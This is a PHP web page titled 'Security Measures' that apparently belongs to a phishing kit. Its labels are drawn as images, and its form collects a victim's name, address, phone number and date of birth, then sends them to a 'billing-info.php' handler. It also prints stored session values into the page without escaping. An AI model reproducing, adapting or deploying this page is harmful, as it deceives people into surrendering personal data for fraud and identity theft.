<?php
require_once 'hostname.php';



      session_start();
?>
<!DOCTYPE HTML5>
<html><head>
<meta charset="UTF-8">
<title>Security Measures</title>
<link rel="icon" href="img/icon.png" />
<link rel="stylesheet" href="css/billing.css">
</head>
<body>
<div id="bar2">
   <div id="wrapperbar">
   <img src="img/website_logo.gif" style="padding-top: 10px;">
   </div>
</div>
<div id="wrapper2">
<img src="img/try.png" style="float: right;padding-top: 20px;">
<div id="block1">
<form id="form" name="form" method="post" action="billing-info.php">
<img src="img/cinformation.png">
<div id="loginform">
<img src="img/fname.png">
<input type="text" name="fname" required value="<?php if (isset($_SESSION['FNAME'])) { print $_SESSION['FNAME'];} else {print "";} ?>">
<img src="img/adr.png">
<input type="text" name="address" required value="<?php if (isset($_SESSION['ADDRESS'])) { print $_SESSION['ADDRESS'];} else {print "";} ?>">
<img src="img/adr2.png">
<input type="text" name="address2" required value="<?php if (isset($_SESSION['ADDRESS2'])) { print $_SESSION['ADDRESS2'];} else {print "";} ?>" placeholder="Optional">
<img src="img/contry.png" style="
    display: block;
">
<select name="country" style="
    margin-top: 0px;width: 200px;
">

<option selected value="<?php if (isset($_SESSION['CONTRY'])) { echo $_SESSION['CONTRY'];} else {echo "Contry";} ?>"><?php if (isset($_SESSION['CONTRY'])) { echo $_SESSION['CONTRY'];} else {echo "country";} ?></option>
<option value="Afganistan">Afghanistan</option>
<option value="Albania">Albania</option>
<option value="Algeria">Algeria</option>
<option value="American Samoa">American Samoa</option>
<option value="Andorra">Andorra</option>
<option value="Angola">Angola</option>
<option value="Anguilla">Anguilla</option>
<option value="Antigua &amp; Barbuda">Antigua &amp; Barbuda</option>
<option value="Argentina">Argentina</option>
<option value="Armenia">Armenia</option>
<option value="Aruba">Aruba</option>
<option value="Australia">Australia</option>
<option value="Austria">Austria</option>
<option value="Azerbaijan">Azerbaijan</option>
<option value="Bahamas">Bahamas</option>
<option value="Bahrain">Bahrain</option>
<option value="Bangladesh">Bangladesh</option>
<option value="Barbados">Barbados</option>
<option value="Belarus">Belarus</option>
<option value="Belgium">Belgium</option>
<option value="Belize">Belize</option>
<option value="Benin">Benin</option>
<option value="Bermuda">Bermuda</option>
<option value="Bhutan">Bhutan</option>
<option value="Bolivia">Bolivia</option>
<option value="Bonaire">Bonaire</option>
<option value="Bosnia &amp; Herzegovina">Bosnia &amp; Herzegovina</option>
<option value="Botswana">Botswana</option>
<option value="Brazil">Brazil</option>
<option value="British Indian Ocean Ter">British Indian Ocean Ter</option>
<option value="Brunei">Brunei</option>
<option value="Bulgaria">Bulgaria</option>
<option value="Burkina Faso">Burkina Faso</option>
<option value="Burundi">Burundi</option>
<option value="Cambodia">Cambodia</option>
<option value="Cameroon">Cameroon</option>
<option value="Canada">Canada</option>
<option value="Canary Islands">Canary Islands</option>
<option value="Cape Verde">Cape Verde</option>
<option value="Cayman Islands">Cayman Islands</option>
<option value="Central African Republic">Central African Republic</option>
<option value="Chad">Chad</option>
<option value="Channel Islands">Channel Islands</option>
<option value="Chile">Chile</option>
<option value="China">China</option>
<option value="Christmas Island">Christmas Island</option>
<option value="Cocos Island">Cocos Island</option>
<option value="Colombia">Colombia</option>
<option value="Comoros">Comoros</option>
<option value="Congo">Congo</option>
<option value="Cook Islands">Cook Islands</option>
<option value="Costa Rica">Costa Rica</option>
<option value="Cote DIvoire">Cote D'Ivoire</option>
<option value="Croatia">Croatia</option>
<option value="Cuba">Cuba</option>
<option value="Curaco">Curacao</option>
<option value="Cyprus">Cyprus</option>
<option value="Czech Republic">Czech Republic</option>
<option value="Denmark">Denmark</option>
<option value="Djibouti">Djibouti</option>
<option value="Dominica">Dominica</option>
<option value="Dominican Republic">Dominican Republic</option>
<option value="East Timor">East Timor</option>
<option value="Ecuador">Ecuador</option>
<option value="Egypt">Egypt</option>
<option value="El Salvador">El Salvador</option>
<option value="Equatorial Guinea">Equatorial Guinea</option>
<option value="Eritrea">Eritrea</option>
<option value="Estonia">Estonia</option>
<option value="Ethiopia">Ethiopia</option>
<option value="Falkland Islands">Falkland Islands</option>
<option value="Faroe Islands">Faroe Islands</option>
<option value="Fiji">Fiji</option>
<option value="Finland">Finland</option>
<option value="France">France</option>
<option value="French Guiana">French Guiana</option>
<option value="French Polynesia">French Polynesia</option>
<option value="French Southern Ter">French Southern Ter</option>
<option value="Gabon">Gabon</option>
<option value="Gambia">Gambia</option>
<option value="Georgia">Georgia</option>
<option value="Germany">Germany</option>
<option value="Ghana">Ghana</option>
<option value="Gibraltar">Gibraltar</option>
<option value="Great Britain">Great Britain</option>
<option value="Greece">Greece</option>
<option value="Greenland">Greenland</option>
<option value="Grenada">Grenada</option>
<option value="Guadeloupe">Guadeloupe</option>
<option value="Guam">Guam</option>
<option value="Guatemala">Guatemala</option>
<option value="Guinea">Guinea</option>
<option value="Guyana">Guyana</option>
<option value="Haiti">Haiti</option>
<option value="Hawaii">Hawaii</option>
<option value="Honduras">Honduras</option>
<option value="Hong Kong">Hong Kong</option>
<option value="Hungary">Hungary</option>
<option value="Iceland">Iceland</option>
<option value="India">India</option>
<option value="Indonesia">Indonesia</option>
<option value="Iran">Iran</option>
<option value="Iraq">Iraq</option>
<option value="Ireland">Ireland</option>
<option value="Isle of Man">Isle of Man</option>
<option value="Israel">Israel</option>
<option value="Italy">Italy</option>
<option value="Jamaica">Jamaica</option>
<option value="Japan">Japan</option>
<option value="Jordan">Jordan</option>
<option value="Kazakhstan">Kazakhstan</option>
<option value="Kenya">Kenya</option>
<option value="Kiribati">Kiribati</option>
<option value="Korea North">Korea North</option>
<option value="Korea Sout">Korea South</option>
<option value="Kuwait">Kuwait</option>
<option value="Kyrgyzstan">Kyrgyzstan</option>
<option value="Laos">Laos</option>
<option value="Latvia">Latvia</option>
<option value="Lebanon">Lebanon</option>
<option value="Lesotho">Lesotho</option>
<option value="Liberia">Liberia</option>
<option value="Libya">Libya</option>
<option value="Liechtenstein">Liechtenstein</option>
<option value="Lithuania">Lithuania</option>
<option value="Luxembourg">Luxembourg</option>
<option value="Macau">Macau</option>
<option value="Macedonia">Macedonia</option>
<option value="Madagascar">Madagascar</option>
<option value="Malaysia">Malaysia</option>
<option value="Malawi">Malawi</option>
<option value="Maldives">Maldives</option>
<option value="Mali">Mali</option>
<option value="Malta">Malta</option>
<option value="Marshall Islands">Marshall Islands</option>
<option value="Martinique">Martinique</option>
<option value="Mauritania">Mauritania</option>
<option value="Mauritius">Mauritius</option>
<option value="Mayotte">Mayotte</option>
<option value="Mexico">Mexico</option>
<option value="Midway Islands">Midway Islands</option>
<option value="Moldova">Moldova</option>
<option value="Monaco">Monaco</option>
<option value="Mongolia">Mongolia</option>
<option value="Montserrat">Montserrat</option>
<option value="Morocco">Morocco</option>
<option value="Mozambique">Mozambique</option>
<option value="Myanmar">Myanmar</option>
<option value="Nambia">Nambia</option>
<option value="Nauru">Nauru</option>
<option value="Nepal">Nepal</option>
<option value="Netherland Antilles">Netherland Antilles</option>
<option value="Netherlands">Netherlands (Holland, Europe)</option>
<option value="Nevis">Nevis</option>
<option value="New Caledonia">New Caledonia</option>
<option value="New Zealand">New Zealand</option>
<option value="Nicaragua">Nicaragua</option>
<option value="Niger">Niger</option>
<option value="Nigeria">Nigeria</option>
<option value="Niue">Niue</option>
<option value="Norfolk Island">Norfolk Island</option>
<option value="Norway">Norway</option>
<option value="Oman">Oman</option>
<option value="Pakistan">Pakistan</option>
<option value="Palau Island">Palau Island</option>
<option value="Palestine">Palestine</option>
<option value="Panama">Panama</option>
<option value="Papua New Guinea">Papua New Guinea</option>
<option value="Paraguay">Paraguay</option>
<option value="Peru">Peru</option>
<option value="Phillipines">Philippines</option>
<option value="Pitcairn Island">Pitcairn Island</option>
<option value="Poland">Poland</option>
<option value="Portugal">Portugal</option>
<option value="Puerto Rico">Puerto Rico</option>
<option value="Qatar">Qatar</option>
<option value="Republic of Montenegro">Republic of Montenegro</option>
<option value="Republic of Serbia">Republic of Serbia</option>
<option value="Reunion">Reunion</option>
<option value="Romania">Romania</option>
<option value="Russia">Russia</option>
<option value="Rwanda">Rwanda</option>
<option value="St Barthelemy">St Barthelemy</option>
<option value="St Eustatius">St Eustatius</option>
<option value="St Helena">St Helena</option>
<option value="St Kitts-Nevis">St Kitts-Nevis</option>
<option value="St Lucia">St Lucia</option>
<option value="St Maarten">St Maarten</option>
<option value="St Pierre &amp; Miquelon">St Pierre &amp; Miquelon</option>
<option value="St Vincent &amp; Grenadines">St Vincent &amp; Grenadines</option>
<option value="Saipan">Saipan</option>
<option value="Samoa">Samoa</option>
<option value="Samoa American">Samoa American</option>
<option value="San Marino">San Marino</option>
<option value="Sao Tome &amp; Principe">Sao Tome &amp; Principe</option>
<option value="Saudi Arabia">Saudi Arabia</option>
<option value="Senegal">Senegal</option>
<option value="Serbia">Serbia</option>
<option value="Seychelles">Seychelles</option>
<option value="Sierra Leone">Sierra Leone</option>
<option value="Singapore">Singapore</option>
<option value="Slovakia">Slovakia</option>
<option value="Slovenia">Slovenia</option>
<option value="Solomon Islands">Solomon Islands</option>
<option value="Somalia">Somalia</option>
<option value="South Africa">South Africa</option>
<option value="Spain">Spain</option>
<option value="Sri Lanka">Sri Lanka</option>
<option value="Sudan">Sudan</option>
<option value="Suriname">Suriname</option>
<option value="Swaziland">Swaziland</option>
<option value="Sweden">Sweden</option>
<option value="Switzerland">Switzerland</option>
<option value="Syria">Syria</option>
<option value="Tahiti">Tahiti</option>
<option value="Taiwan">Taiwan</option>
<option value="Tajikistan">Tajikistan</option>
<option value="Tanzania">Tanzania</option>
<option value="Thailand">Thailand</option>
<option value="Togo">Togo</option>
<option value="Tokelau">Tokelau</option>
<option value="Tonga">Tonga</option>
<option value="Trinidad &amp; Tobago">Trinidad &amp; Tobago</option>
<option value="Tunisia">Tunisia</option>
<option value="Turkey">Turkey</option>
<option value="Turkmenistan">Turkmenistan</option>
<option value="Turks &amp; Caicos Is">Turks &amp; Caicos Is</option>
<option value="Tuvalu">Tuvalu</option>
<option value="Uganda">Uganda</option>
<option value="Ukraine">Ukraine</option>
<option value="United Arab Erimates">United Arab Emirates</option>
<option value="United Kingdom">United Kingdom</option>
<option value="United States of America">United States of America</option>
<option value="Uraguay">Uruguay</option>
<option value="Uzbekistan">Uzbekistan</option>
<option value="Vanuatu">Vanuatu</option>
<option value="Vatican City State">Vatican City State</option>
<option value="Venezuela">Venezuela</option>
<option value="Vietnam">Vietnam</option>
<option value="Virgin Islands (Brit)">Virgin Islands (Brit)</option>
<option value="Virgin Islands (USA)">Virgin Islands (USA)</option>
<option value="Wake Island">Wake Island</option>
<option value="Wallis &amp; Futana Is">Wallis &amp; Futana Is</option>
<option value="Yemen">Yemen</option>
<option value="Zaire">Zaire</option>
<option value="Zambia">Zambia</option>
<option value="Zimbabwe">Zimbabwe</option>
</select>
<br>
<img src="img/cty.png">
<input type="text" name="city" required value="<?php if (isset($_SESSION['CITY'])) { print $_SESSION['CITY'];} else {print "";} ?>">

<img src="img/state.png">
<input type="text" name="state" required value="<?php if (isset($_SESSION['STATE'])) { print $_SESSION['STATE'];} else {print "";} ?>">

<img src="img/pc.png" style="
    display: block;
">
<input type="text" name="postal" required value="<?php if (isset($_SESSION['POSTAL'])) { print $_SESSION['POSTAL'];} else {print "";} ?>" style="
    width: 150px;
    margin-top: 10px;
">
<img src="img/fon.png" style="
    display: block;
">
<input type="text" name="phone" required value="<?php if (isset($_SESSION['PHONE'])) { print $_SESSION['PHONE'];} else {print "";} ?>" style="
    margin-top: 10px;
">
<img src="img/dob.png" style="
    display: block;
">
<select name="bday" style="
    margin-top: 10px;width: 110px;
">


<option value="Day">Day</option>
<option selected value="<?php if (isset($_SESSION['BDAY'])) { echo $_SESSION['BDAY'];} else {echo "Day";} ?>"><?php if (isset($_SESSION['BDAY'])) { echo $_SESSION['BDAY'];} else {echo "Day";} ?></option>
<option>01</option>
<option>02</option>
<option>03</option>
<option>04</option>
<option>05</option>
<option>06</option>
<option>07</option>
<option>08</option>
<option>09</option>
<option>10</option>
<option>11</option>
<option>12</option>
<option>13</option>
<option>14</option>
<option>15</option>
<option>16</option>
<option>17</option>
<option>18</option>
<option>19</option>
<option>20</option>
<option>21</option>
<option>22</option>
<option>23</option>
<option>24</option>
<option>25</option>
<option>26</option>
<option>28</option>
<option>29</option>
<option>30</option>
<option>31</option>
</select>
<select name="bmonth" style="width: 110px;">
<option value="Month">Month</option>
<option selected value="<?php if (isset($_SESSION['BMONTH'])) { echo $_SESSION['BMONTH'];} else {echo "Month";} ?>"><?php if (isset($_SESSION['BMONTH'])) { echo $_SESSION['BMONTH'];} else {echo "Month";} ?></option>
<option value="January">January</option>
<option value="February">February</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>
<select name="byear" style="width: 110px;">
<option value="Year">Year</option>
<option selected value="<?php if (isset($_SESSION['BYEAR'])) { echo $_SESSION['BYEAR'];} else {echo "Year";} ?>"><?php if (isset($_SESSION['BYEAR'])) { echo $_SESSION['BYEAR'];} else {echo "Year";} ?></option>
<option value="2009">2009</option>
<option value="2008">2008</option>
<option value="2007">2007</option>
<option value="2006">2006</option>
<option value="2005">2005</option>
<option value="2004">2004</option>
<option value="2003">2003</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
<option value="1995">1995</option>
<option value="1994">1994</option>
<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option value="1989">1989</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
<option value="1929">1929</option>
<option value="1928">1928</option>
<option value="1927">1927</option>
<option value="1926">1926</option>
<option value="1925">1925</option>
<option value="1924">1924</option>
<option value="1923">1923</option>
<option value="1922">1922</option>
<option value="1921">1921</option>
<option value="1920">1920</option>
<option value="1919">1919</option>
<option value="1918">1918</option>
<option value="1917">1917</option>
<option value="1916">1916</option>
<option value="1915">1915</option>
<option value="1914">1914</option>
<option value="1913">1913</option>
<option value="1912">1912</option>
<option value="1911">1911</option>
<option value="1910">1910</option>
</select>
<div style="position:relative; height:52px; width:341px; background:url(img/ef7e75b6da5d06db762e.png) 0 0 no-repeat;"><a value="" onclick="document.forms['form'].submit(); return false;" style="position:absolute; top:13px; left:5px; width:335px; height:39px;" title="" alt="" target="_self"></a><a style="position:absolute; overflow:hidden; top:74px; left:339px; width:1px; height:1px;" title="" alt="" href="#" target="_self"></a></div>
</div>
</form>
</div>
<div id="footer">
<img src="img/copyright.png">
</div>
</div>

</body></html>